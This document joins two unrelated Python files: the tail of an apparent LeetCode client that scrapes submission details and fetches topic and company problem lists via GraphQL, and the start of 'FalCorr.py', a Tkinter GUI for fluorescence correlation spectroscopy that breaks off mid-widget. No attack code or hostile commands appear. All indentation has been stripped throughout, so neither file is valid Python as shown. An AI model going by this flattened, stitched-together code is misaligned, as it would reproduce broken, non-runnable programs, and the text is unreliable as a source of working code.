def get_submission(sid):
assert is_login()
headers = _make_headers()
url = LC_SUBMISSION.format(submission=sid)
log.info('get submission request: url="%s" headers="%s"', url, headers)
res = session.get(url, headers=headers)
log.info('get submission response: status="%s" body="%s"', res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot find the submission: ' + sid)
return None
# we need to parse the data from the Javascript snippet
s = res.text
submission = {
'id': sid,
'state': _status_to_name(int(_group1(re.search(r"status_code: parseInt\('([^']*)'", s),
'not found'))),
'runtime': _group1(re.search("runtime: '([^']*)'", s), 'not found'),
'passed': _group1(re.search("total_correct : '([^']*)'", s), 'not found'),
'total': _group1(re.search("total_testcases : '([^']*)'", s), 'not found'),
'testcase': _split(_unescape(_group1(re.search("input : '([^']*)'", s), ''))),
'answer': _split(_unescape(_group1(re.search("code_output : '([^']*)'", s), ''))),
'expected_answer': _split(_unescape(_group1(re.search("expected_output : '([^']*)'", s),
''))),
'problem_id': _group1(re.search("questionId: '([^']*)'", s), 'not found'),
'slug': _group1(re.search("editCodeUrl: '([^']*)'", s), '///').split('/')[2],
'filetype': _group1(re.search("getLangDisplay: '([^']*)'", s), 'not found'),
'error': [],
'stdout': [],
}
problem = get_problem(submission['slug'])
submission['title'] = problem['title']
# the punctuations and newlines in the code are escaped like '\\u0010' ('\\' => real backslash)
# to unscape the string, we do the trick '\\u0010'.encode().decode('unicode_escape') ==> '\n'
submission['code'] = _break_code_lines(_unescape(_group1(re.search("submissionCode: '([^']*)'", s), '')))
dist_str = _unescape(_group1(re.search("runtimeDistributionFormatted: '([^']*)'", s),
'{"distribution":[]}'))
dist = json.loads(dist_str)['distribution']
dist.reverse()
# the second key "runtime" is the runtime in milliseconds
# we need to search from the position after the first "runtime" key
prev_runtime = re.search("runtime: '([^']*)'", s)
if not prev_runtime:
my_runtime = 0
else:
my_runtime = int(_group1(re.search("runtime: '([^']*)'", s[prev_runtime.end():]), 0))
accum = 0
for runtime, frequency in dist:
accum += frequency
if my_runtime >= int(runtime):
break
submission['runtime_percentile'] = '{:.1f}%'.format(accum)
return submission
def _process_topic_element(topic):
return {'topic_name': topic.find(class_='text-gray').string.strip(),
'num_problems': topic.find(class_='badge').string,
'topic_slug': topic.get('href').split('/')[2]}
def _process_company_element(company):
return {'company_name': company.find(class_='text-gray').string.strip(),
'num_problems': company.find(class_='badge').string,
'company_slug': company.get('href').split('/')[2]}
def get_topics_and_companies():
headers = _make_headers()
log.info('get_topics_and_companies request: url="%s', LC_PROBLEM_SET_ALL)
res = session.get(LC_PROBLEM_SET_ALL, headers=headers)
log.info('get_topics_and_companies response: status="%s" body="%s"', res.status_code,
res.text)
if res.status_code != 200:
_echoerr('cannot get topics')
return []
soup = BeautifulSoup(res.text, features='html.parser')
topic_elements = soup.find_all(class_='sm-topic')
topics = [_process_topic_element(topic) for topic in topic_elements]
company_elements = soup.find_all(class_='sm-company')
companies = [_process_company_element(company) for company in company_elements]
return {
'topics': topics,
'companies': companies
}
def get_problems_of_topic(topic_slug):
request_body = {
'operationName':'getTopicTag',
'variables': {'slug': topic_slug},
'query': 'query getTopicTag($slug: String!) {\n topicTag(slug: $slug) {\n name\n translatedName\n questions {\n status\n questionId\n questionFrontendId\n title\n titleSlug\n translatedTitle\n stats\n difficulty\n isPaidOnly\n topicTags {\n name\n translatedName\n slug\n __typename\n }\n companyTags {\n name\n translatedName\n slug\n __typename\n }\n __typename\n }\n frequencies\n __typename\n }\n favoritesLists {\n publicFavorites {\n ...favoriteFields\n __typename\n }\n privateFavorites {\n ...favoriteFields\n __typename\n }\n __typename\n }\n}\n\nfragment favoriteFields on FavoriteNode {\n idHash\n id\n name\n isPublicFavorite\n viewCount\n creator\n isWatched\n questions {\n questionId\n title\n titleSlug\n __typename\n }\n __typename\n}\n'}
headers = _make_headers()
log.info('get_problems_of_topic request: headers="%s" body="%s"', headers,
request_body)
res = session.post(LC_GRAPHQL, headers=headers, json=request_body)
log.info('get_problems_of_topic response: status="%s" body="%s"',
res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot get problems of the topic')
return
topic_tag = res.json()['data']['topicTag']
def process_problem(p):
stats = json.loads(p['stats'])
return {
'state': _state_to_flag(p['status']),
'id': p['questionId'],
'fid': p['questionFrontendId'],
'title': p['title'],
'slug': p['titleSlug'],
'paid_only': p['isPaidOnly'],
'ac_rate': stats['totalAcceptedRaw'] / stats['totalSubmissionRaw'],
'level': p['difficulty'],
'favor': False}
return {
'topic_name': topic_tag['name'],
'problems': [process_problem(p) for p in topic_tag['questions']]}
def get_problems_of_company(company_slug):
request_body = {
'operationName':'getCompanyTag',
'variables': {'slug': company_slug},
'query': 'query getCompanyTag($slug: String!) {\n companyTag(slug: $slug) {\n name\n translatedName\n frequencies\n questions {\n ...questionFields\n __typename\n }\n __typename\n }\n favoritesLists {\n publicFavorites {\n ...favoriteFields\n __typename\n }\n privateFavorites {\n ...favoriteFields\n __typename\n }\n __typename\n }\n}\n\nfragment favoriteFields on FavoriteNode {\n idHash\n id\n name\n isPublicFavorite\n viewCount\n creator\n isWatched\n questions {\n questionId\n title\n titleSlug\n __typename\n }\n __typename\n}\n\nfragment questionFields on QuestionNode {\n status\n questionId\n questionFrontendId\n title\n titleSlug\n translatedTitle\n stats\n difficulty\n isPaidOnly\n topicTags {\n name\n translatedName\n slug\n __typename\n }\n frequencyTimePeriod\n __typename\n}\n'}
headers = _make_headers()
headers['Referer'] = 'https://leetcode.com/company/{}/'.format(company_slug)
log.info('get_problems_of_company request: headers="%s" body="%s"', headers,
request_body)
res = session.post(LC_GRAPHQL, headers=headers, json=request_body)
log.info('get_problems_of_company response: status="%s" body="%s"',
res.status_code, res.text)
if res.status_code != 200:
_echoerr('cannot get problems of the company')
return
company_tag = res.json()['data']['companyTag']
def process_problem(p):
stats = json.loads(p['stats'])
return {
'state': _state_to_flag(p['status']),
'id': p['questionId'],
'fid': p['questionFrontendId'],
'title': p['title'],
'slug': p['titleSlug'],
'paid_only': p['isPaidOnly'],
'ac_rate': stats['totalAcceptedRaw'] / stats['totalSubmissionRaw'],
'level': p['difficulty'],
'favor': False}
return {
'company_name': company_tag['name'],
'problems': [process_problem(p) for p in company_tag['questions']]}
def _thread_main():
global task_running, task_done, task_output, task_err
while True:
task_trigger.acquire()
task_running = True
task_done = False
task_output = None
task_err = ''
log.info('task thread input: name="%s" input="%s"', task_name, task_input)
try:
if task_name == 'test_solution':
slug, file_type, code = task_input
task_output = test_solution(slug, file_type, code)
elif task_name == 'submit_solution':
slug, file_type, code = task_input
task_output = submit_solution(slug, file_type, code)
except BaseException as e:
task_err = str(e)
log.info('task thread output: name="%s" output="%s" error="%s"', task_name, task_output,
task_err)
task_running = False
task_done = True
def _in_task():
return current_thread() == task_thread
def _echoerr(s):
global task_err
if _in_task():
task_err = s
else:
print(s)
task_thread = Thread(target=_thread_main, daemon=True)
task_thread.start()
|
FalCorr.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# GUI module generated by PAGE version 4.13
# In conjunction with Tcl version 8.6
# May 24, 2018 10:33:11 PM
import sys
import FCSoptionWindow #user-defined
import FPGAserial #user-defined
from threading import Thread
import io
import os
import queue
import time
import numpy as np
import matplotlib
import fileFormatter
import myCorr #user defined
import FCS_Analysis as fcs #user-defined
#import LaserController
import pandas as pd
matplotlib.use("TkAgg")
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg#, NavigationToolbar2TkAgg
from matplotlib.figure import Figure
try:
from Tkinter import *
from Tkinter.filedialog import asksaveasfilename
from Tkinter.filedialog import askopenfilename
from tkinter.filedialog import askopenfilenames
except ImportError:
from tkinter import*
from tkinter.filedialog import asksaveasfilename
from tkinter.filedialog import askopenfilename
from tkinter.filedialog import askopenfilenames
try:
import ttk
py3 = False
except ImportError:
import tkinter.ttk as ttk
py3 = True
import FCS_GUI_support
#from tkinter import*
def vp_start_gui():
'''Starting point when module is the main routine.'''
global val, w, root, expParams
root = Tk()
FCS_GUI_support.set_Tk_var()
top = New_Toplevel (root)
FCS_GUI_support.init(root, top)
root.mainloop()
w = None
def create_New_Toplevel(root, *args, **kwargs):
'''Starting point when module is imported by another program.'''
global w, w_win, rt
rt = root
w = Toplevel (root)
FCS_GUI_support.set_Tk_var()
top = New_Toplevel (w)
FCS_GUI_support.init(w, top, *args, **kwargs)
return (w, top)
def destroy_New_Toplevel():
global w
w.destroy()
w = None
class New_Toplevel:
def __init__(self, top=None):
'''This class configures and populates the toplevel window.
top is the toplevel containing window.'''
_bgcolor = '#d9d9d9' # X11 color: 'gray85'
_fgcolor = '#000000' # X11 color: 'black'
_compcolor = '#d9d9d9' # X11 color: 'gray85'
_ana1color = '#d9d9d9' # X11 color: 'gray85'
_ana2color = '#d9d9d9' # X11 color: 'gray85'
font10 = "-family {Segoe UI} -size 12 -weight normal -slant " \
"roman -underline 0 -overstrike 0"
font9 = "-family {Courier New} -size 12 -weight normal -slant " \
"roman -underline 0 -overstrike 0"
top.geometry("1300x650+25+25")
top.title("FalCorr FCS")
top.configure(background="#d9d9d9")
top.configure(highlightbackground="#d9d9d9")
top.configure(highlightcolor="black")
##List of useful variables##
self.dataType = np.uint16
self.timeScale = 0.5e-6
self.minTime = 1e-6
self.maxTau = 1
self.acqStatus = 0
self.maxTrialNum = 1
self.trialNum = 1
self.acqTime = 300
self.computeCFs = IntVar()
self.computeCFs.set(1)
self.displayResults = IntVar()
self.displayResults.set(1)
self.PCH1 = np.zeros(0)
self.PCH2 = np.zeros(0)
self.bins = np.zeros(0)
self.CF = np.zeros(0)
self.loadNPZfile = ''
self.correlations = [1,1,1,1] #default to all possible cross-correlations and count rate
try:
self.fpga = FPGAserial.openFPGA(mode = 'FCS')
acqState = 'normal'
except:
self.fpga = FPGAserial.openFPGA(mode= 'None')
acqState = 'disabled'
print('No FPGA Connected.\nRunning in analysis only mode.')
self.Label1 = Label(top)
self.Label1.place(relx=0.01, rely=0.07, height=31, width=50)
self.Label1.configure(activebackground="#f9f9f9")
self.Label1.configure(activeforeground="black")
self.Label1.configure(background="#d9d9d9")
self.Label1.configure(disabledforeground="#a3a3a3")
self.Label1.configure(font=font10)
self.Label1.configure(foreground="#000000")
self.Label1.configure(highlightbackground="#d9d9d9")
self.Label1.configure(highlightcolor="black")
self.Label1.configure(text='''Trial #''')
self.fig = Figure(figsize=(12,5), dpi=100,facecolor="#d9d9d9")
self.myPlot = self.fig.add_subplot(122)
self.myPlotPCH = self.fig.add_subplot(121)
self.plotAxes = FigureCanvasTkAgg(self.fig,root)
self.plotAxes.get_tk_widget().pack(anchor='se',fill = "none",in_ = top)
self.currentTrialStr = StringVar()
self.currentTrial = Entry(top)
self.currentTrial.place(relx=0.01, rely=0.13,height=41, relwidth=0.11)
self.currentTrial.configure(background="white")
self.currentTrial.configure(disabledforeground="#a3a3a3")
self.currentTrial.configure(font=font10, justify =CENTER)
self.currentTrial.configure(foreground="#000000")
self.currentTrial.configure(highlightbackground="#d9d9d9")
self.currentTrial.configure(highlightcolor="black")
self.currentTrial.configure(insertbackground="black")
self.currentTrial.configure(selectbackground="#c4c4c4")
self.currentTrial.configure(selectforeground="black")
self.currentTrial.configure(textvariable=self.currentTrialStr)
self.currentTrial.configure(state="readonly")
self.currentTrialStr.set(str(self.trialNum))
self.runningIndVar = IntVar()
self.runningInd = Checkbutton(top,command=self.setRunInd)
self.runningInd.place(relx=0.3, rely=0.85, relheight=0.06
, relwidth=0.12)
self.runningInd.configure(activebackground="#d9d9d9")
self.runningInd.configure(activeforeground="#000000")
self.runningInd.configure(background="#d9d9d9")
self.runningInd.configure(disabledforeground="#a3a3a3")
self.runningInd.configure(font=font10)
self.runningInd.configure(foreground="#000000")
self.runningInd.configure(highlightbackground="#d9d9d9")
self.runningInd.configure(highlightcolor="black")
self.runningInd.configure(justify=LEFT)
self.runningInd.configure(state=ACTIVE)
self.runningInd.configure(text='''Running''')
self.runningInd.configure(variable=self.runningIndVar)
self.runningInd.invoke()
self.PCH1_IndVar = IntVar()
self.PCH1_IndVar.set(1)
self.PCH1_Ind = Checkbutton(top,command=self.graphPCH)
self.PCH1_Ind.place(relx=0.25, rely=0.8, relheight=0.06
, relwidth=0.12)
self.PCH1_Ind.configure(activebackground="#d9d9d9")
self.PCH1_Ind.configure(activeforeground="#000000")
self.PCH1_Ind.configure(background="#d9d9d9")
self.PCH1_Ind.configure(disabledforeground="#a3a3a3")
self.PCH1_Ind.configure(font=font10)
self.PCH1_Ind.configure(foreground="#000000")
self.PCH1_Ind.configure(highlightbackground="#d9d9d9")
self.PCH1_Ind.configure(highlightcolor="black")
self.PCH1_Ind.configure(justify=LEFT)
self.PCH1_Ind.configure(state=ACTIVE)
self.PCH1_Ind.configure(text='''Ch1 PCH''')
self.PCH1_Ind.configure(variable=self.PCH1_IndVar)
self.PCH2_IndVar = IntVar()
self.PCH2_IndVar.set(1)
self.PCH2_Ind = Checkbutton(top,command=self.graphPCH)
self.PCH2_Ind.place(relx=0.35, rely=0.8, relheight=0.06
, relwidth=0.12)
self.PCH2_Ind.configure(activebackground="#d9d9d9")
self.PCH2_Ind.configure(activeforeground="#000000")
self.PCH2_Ind.configure(background="#d9d9d9")
self.PCH2_Ind.configure(disabledforeground="#a3a3a3")
self.PCH2_Ind.configure(font=font10)
self.PCH2_Ind.configure(foreground="#000000")
self.PCH2_Ind.configure(highlightbackground="#d9d9d9")
self.PCH2_Ind.configure(highlightcolor="black")
self.PCH2_Ind.configure(justify=LEFT)
self.PCH2_Ind.configure(state=ACTIVE)
self.PCH2_Ind.configure(text='''Ch2 PCH''')
self.PCH2_Ind.configure(variable=self.PCH2_IndVar)
self.LabelDh1 = Label(top)
self.LabelDh1.place(relx=0.04, rely=0.72, height=41, width=70)
self.LabelDh1.configure(activebackground="#f9f9f9")
self.LabelDh1.configure(activeforeground="black")
self.LabelDh1.configure(background="#d9d9d9")
self.LabelDh1.configure(disabledforeground="#a3a3a3")
self.LabelDh1.configure(font=font10)
self.LabelDh1.configure(foreground="#000000")
self.LabelDh1.configure(highlightbackground="#d9d9d9")
self.LabelDh1.configure(highlightcolor="black")
self.LabelDh1.configure(text='''D \u2095 1(nm)''')
self.LabelDh2 = Label(top)
self.LabelDh2.place(relx=0.04, rely=0.85, height=41, width=70)
self.LabelDh2.configure(activebackground="#f9f9f9")
self.LabelDh2.configure(activeforeground="black")
self.LabelDh2.configure(background="#d9d9d9")
self.LabelDh2.configure(disabledforeground="#a3a3a3")
self.LabelDh2.configure(font=font10)
self.LabelDh2.configure(foreground="#000000")
self.LabelDh2.configure(highlightbackground="#d9d9d9")
self.LabelDh2.configure(highlightcolor="black")
self.LabelDh2.configure(text='''D \u2095 2(nm)''')
self.hydroDiamStr1 = StringVar()
self.hydroDiam1 = Entry(top)
self.hydroDiam1.place(relx=0.01, rely=0.77,height=41, relwidth=0.11)
self.hydroDiam1.configure(background="white")
self.hydroDiam1.configure(disabledforeground="#a3a3a3")
self.hydroDiam1.configure(font=font10, justify =CENTER)
self.hydroDiam1.configure(foreground="#000000")
self.hydroDiam1.configure(highlightbackground="#d9d9d9")
self.hydroDiam1.configure(highlightcolor="black")
self.hydroDiam1.configure(insertbackground="black")
self.hydroDiam1.configure(selectbackground="#c4c4c4")
self.hydroDiam1.configure(selectforeground="black")
self.hydroDiam1.configure(textvariable=self.hydroDiamStr1)
self.hydroDiam1.configure(state="readonly")
self.hydroDiamStr1.set('-')
self.hydroDiamStr2 = StringVar()
self.hydroDiam2 = Entry(top)
self.hydroDiam2.place(relx=0.01, rely=0.90,height=41, relwidth=0.11)
self.hydroDiam2.configure(background="white")
self.hydroDiam2.configure(disabledforeground="#a3a3a3")
self.hydroDiam2.configure(font=font10, justify =CENTER)
self.hydroDiam2.configure(foreground="#000000")
self.hydroDiam2.configure(highlightbackground="#d9d9d9")
self.hydroDiam2.configure(highlightcolor="black")
self.hydroDiam2.configure(insertbackground="black")
self.hydroDiam2.configure(selectbackground="#c4c4c4")
self.hydroDiam2.configure(selectforeground="black")
self.hydroDiam2.configure(textvariable=self.hydroDiamStr2)
self.hydroDiam2.configure(state="readonly")
self.hydroDiamStr2.set('-')
self.LabelAlpha = Label(top)
self.LabelAlpha.place(relx=0.175, rely=0.85, height=41, width=60)
self.LabelAlpha.configure(activebackground="#f9f9f9")
self.LabelAlpha.configure(activeforeground="black")
self.LabelAlpha.configure(background="#d9d9d9")
self.LabelAlpha.configure(disabledforeground="#a3a3a3")
self.LabelAlpha.configure(font=font10)
self.LabelAlpha.configure(foreground="#000000")
self.LabelAlpha.configure(highlightbackground="#d9d9d9")
self.LabelAlpha.configure(highlightcolor="black")
self.LabelAlpha.configure(text='''\u03B1''')
self.alphaStr = StringVar()
self.alpha = Entry(top)
self.alpha.place(relx=0.15, rely=0.90,height=41, relwidth=0.10)
self.alpha.configure(background="white")
self.alpha.configure(disabledforeground="#a3a3a3")
self.alpha.configure(font=font10, justify =CENTER)
self.alpha.configure(foreground="#000000")
self.alpha.configure(highlightbackground="#d9d9d9")
self.alpha.configure(highlightcolor="black")
self.alpha.configure(insertbackground="black")
self.alpha.configure(selectbackground="#c4c4c4")
self.alpha.configure(selectforeground="black")
self.alpha.configure(textvariable=self.alphaStr)
self.alpha.configure(state="readonly")
self.alphaStr.set('-')
self.LabelN = Label(top)
self.LabelN.place(relx=0.175, rely=0.72, height=41, width=85)
self.LabelN.configure(activebackground="#f9f9f9")
self.LabelN.configure(activeforeground="black")
self.LabelN.configure(background="#d9d9d9")
self.LabelN.configure(disabledforeground="#a3a3a3")
self.LabelN.configure(font=font10)
self.LabelN.configure(foreground="#000000")
self.LabelN.configure(highlightbackground="#d9d9d9")
self.LabelN.configure(highlightcolor="black")
self.LabelN.configure(text='''<N>/C (nM)''')
self.NStr = StringVar()
self.N = Entry(top)
self.N.place(relx=0.15, rely=0.77,height=41, relwidth=0.11)
self.N.configure(background="white")
self.N.configure(disabledforeground="#a3a3a3")
self.N.configure(font=font10, justify =CENTER)
self.N.configure(foreground="#000000")
self.N.configure(highlightbackground="#d9d9d9")
self.N.configure(highlightcolor="black")
self.N.configure(insertbackground="black")
self.N.configure(selectbackground="#c4c4c4")
self.N.configure(selectforeground="black")
self.N.configure(textvariable=self.NStr)
self.N.configure(state="readonly")
self.NStr.set('-')
self.Label2 = Label(top)
self.Label2.place(relx=0.01, rely=0.22, height=27, width=20)
self.Label2.configure(activebackground="#f9f9f9")
self.Label2.configure(activeforeground="black")
self.Label2.configure(background="#d9d9d9")
self.Label2.configure(disabledforeground="#a3a3a3")
self.Label2.configure(font=font10)
self.Label2.configure(foreground="#000000")
self.Label2.configure(highlightbackground="#d9d9d9")
self.Label2.configure(highlightcolor="black")
self.Label2.configure(text='''of''')
self.maxTrialStr = StringVar()
self.maxTrials = Entry(top)
self.maxTrials.place(relx=0.01, rely=0.29,height=40, relwidth=0.11)
self.maxTrials.configure(background="white")
self.maxTrials.configure(disabledforeground="#a3a3a3")
self.maxTrials.configure(font=font10, justify = CENTER)
self.maxTrials.configure(foreground="#000000")
self.maxTrials.configure(highlightbackground="#d9d9d9")
self.maxTrials.configure(highlightcolor="black")
self.maxTrials.configure(insertbackground="black")
self.maxTrials.configure(selectbackground="#c4c4c4")
self.maxTrials.configure(selectforeground="black")
self.maxTrials.configure(textvariable=self.maxTrialStr)
self.maxTrials.configure(state="readonly")
self.maxTrialStr.set(str(self.maxTrialNum))
self.menubar = Menu(top,font="TkMenuFont",bg=_bgcolor,fg=_fgcolor)
top.configure(menu = self.menubar)
self.file = Menu(top,tearoff=0)
self.menubar.add_cascade(menu=self.file,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="File")
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Set Save Path",
accelerator = 'ctrl+s',
state = acqState,
command = self.setSavePath)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Start Acq.",
accelerator = 'ctrl+b',
state = acqState,
command=self.acquireData)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+e',
label="StopAcq",
state = acqState,
command = self.stopAcq)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+o',
label="Load CF for Analysis",
command = self.loadNPZ)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+l',
label="Load bin file(s)",
command = self.loadBinFile)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+m',
label="Overlay Multiple CFs",
command = self.loadMultNPZ)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Overlay and Average CFs",
command = self.overlayAndAverage)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Export NPZ to CSV",
command = self.exportToCSV)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+s',
label="Save Figure",
command = self.saveAxes)
self.file.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Quit",
accelerator = 'ctrl+q',
command=self.quitProg,
)
##establish hot keys##
root.bind_all('<Control-Key-q>', self.quitProg)
root.bind_all('<Control-Key-b>', self.acquireData)
root.bind_all('<Control-Key-e>', self.stopAcq)
root.bind_all('<Control-Key-s>', self.setSavePath)
#Mode control variables
self.modeVarDL = IntVar()
self.modeVarCR = IntVar()
self.modeVarCR.set(1)
self.mode = Menu(top,tearoff=0)
self.menubar.add_cascade(menu=self.mode,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
state = acqState,
label="Mode")
self.mode.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Data Logging",
variable = self.modeVarDL,
command = self.setModeDL)
self.mode.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Count Rate",
variable = self.modeVarCR,
command = self.setModeCR)
self.options = Menu(top,tearoff=0)
self.menubar.add_cascade(menu=self.options,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
state = acqState,
label="Options")
self.options.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
variable = self.computeCFs,
label="Save CFs")
self.options.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
variable = self.displayResults,
label="Display Results")
self.options.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Set Parameters...",
command = self.callOptionWindow)
self.analysis = Menu(top,tearoff=0)
self.noAnalysisVar = IntVar()
self.noAnalysisVar.set(1)
self.simpleMonoAnalysisVar = IntVar()
self.simpleMonoAnalysisVar.set(0)
self.simpleBiAnalysisVar = IntVar()
self.simpleBiAnalysisVar.set(0)
self.tripletMonoAnalysisVar = IntVar()
self.tripletMonoAnalysisVar.set(0)
self.tripletBiAnalysisVar = IntVar()
self.tripletBiAnalysisVar.set(0)
self.simpleAnomalousAnalysisVar = IntVar()
self.simpleAnomalousAnalysisVar.set(0)
self.tripletAnomalousAnalysisVar = IntVar()
self.tripletAnomalousAnalysisVar.set(0)
self.maxEntropyAnalysisVar = IntVar()
self.maxEntropyAnalysisVar.set(0)
self.menubar.add_cascade(menu=self.analysis,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Analysis")
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="None",
variable = self.noAnalysisVar,
command = self.clearAnalysis)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Simple Monodisperse",
command=self.clearNone,
variable = self.simpleMonoAnalysisVar)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
command = self.clearNone,
label="Simple Bimodal",
variable = self.simpleBiAnalysisVar)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
command = self.clearNone,
label="Triplet Monomodal",
variable = self.tripletMonoAnalysisVar)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
command = self.clearNone,
label="Triplet Bimodal",
variable = self.tripletBiAnalysisVar)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
command = self.clearNone,
label="Simple Anomalous",
variable = self.simpleAnomalousAnalysisVar)
self.analysis.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
command = self.clearNone,
label="Triplet Anomalous",
variable = self.tripletAnomalousAnalysisVar)
self.analysis.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+c',
label="Analzye Current Data Set(s)",
command = self.analyzeData)
#Laser Excitation Menu
self.excitation = Menu(top,tearoff=0)
self.argon = IntVar()
self.argon.set(1)
self.hene = IntVar()
self.hene.set(0)
self.menubar.add_cascade(menu=self.excitation,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Excitation")
self.excitation.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="488 nm",
variable = self.argon)
self.excitation.add_checkbutton(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="543 nm",
variable = self.hene)
#Help Menu
self.helpMenu = Menu(top,tearoff = 0)
self.menubar.add_cascade(menu=self.helpMenu,
activebackground="#d9d9d9",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="Help")
self.helpMenu.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
label="About",
command = self.aboutGUI)
self.helpMenu.add_command(
activebackground="#d8d8d8",
activeforeground="#000000",
background="#d9d9d9",
font="TkMenuFont",
foreground="#000000",
accelerator = 'ctrl+c',
label="Calibrate...",
command = self.calibrate)
# self.excitation.add_command(
# activebackground="#d8d8d8",
# activeforeground="#000000",
# background="#d9d9d9",
# font="TkMenuFont",
# foreground="#000000",
# label="Adjust Argon Laser Power",
# state = acqState,
# command = self.laserPowerCntrl)
self.Label4 = Label(top)
self.Label4.place(relx=0.01, rely=0.39, height=41, width=135)
self.Label4.configure(activebackground="#f9f9f9")
self.Label4.configure(activeforeground="black")
self.Label4.configure(background="#d9d9d9")
self.Label4.configure(disabledforeground="#a3a3a3")
self.Label4.configure(font=font10)
self.Label4.configure(foreground="#000000")
self.Label4.configure(highlightbackground="#d9d9d9")
self.Label4.configure(highlightcolor="black")
self.Label4.configure(text='''Ch1 Count (kHz)''')
self.Ch1countRateStr = StringVar()
self.Ch1countRate = Entry(top)
self.Ch1countRate.place(relx=0.01, rely=0.44,height=40, relwidth=0.11)
self.Ch1countRate.configure(background="white")
self.Ch1countRate.configure(disabledforeground="#a3a3a3")
self.Ch1countRate.configure(font=font10,justify = CENTER)
self.Ch1countRate.configure(foreground="#000000")
self.Ch1countRate.configure(highlightbackground="#d9d9d9")
self.Ch1countRate.configure(highlightcolor="black")
self.Ch1countRate.configure(insertbackground="black")
self.Ch1countRate.configure(selectbackground="#c4c4c4")
self.Ch1countRate.configure(selectforeground="black")
self.Ch1countRate.configure(textvariable=self.Ch1countRateStr)
self.Ch1countRate.configure(state = "readonly")
self.Ch1countRateStr.set("-")
self.Label7 = Label(top)
self.Label7.place(relx=0.01, rely=0.57, height=41, width=135)
self.Label7.configure(activebackground="#f9f9f9")
self.Label7.configure(activeforeground="black")
self.Label7.configure(background="#d9d9d9")
self.Label7.configure(disabledforeground="#a3a3a3")
self.Label7.configure(font=font10)
self.Label7.configure(foreground="#000000")
self.Label7.configure(highlightbackground="#d9d9d9")
self.Label7.configure(highlightcolor="black")
self.Label7.configure(text='''Ch2 Count (kHz)''')
self.Ch2countRateStr = StringVar()
self.Ch2countRate = Entry(top)
self.Ch2countRate.place(relx=0.01, rely=0.62,height=40, relwidth=0.11)
self.Ch2countRate.configure(background="white")
self.Ch2countRate.configure(disabledforeground="#a3a3a3")
self.Ch2countRate.configure(font=font10,justify = CENTER)
self.Ch2countRate.configure(foreground="#000000")
self.Ch2countRate.configure(highlightbackground="#d9d9d9")
self.Ch2countRate.configure(highlightcolor="black")
self.Ch2countRate.configure(insertbackground="black")
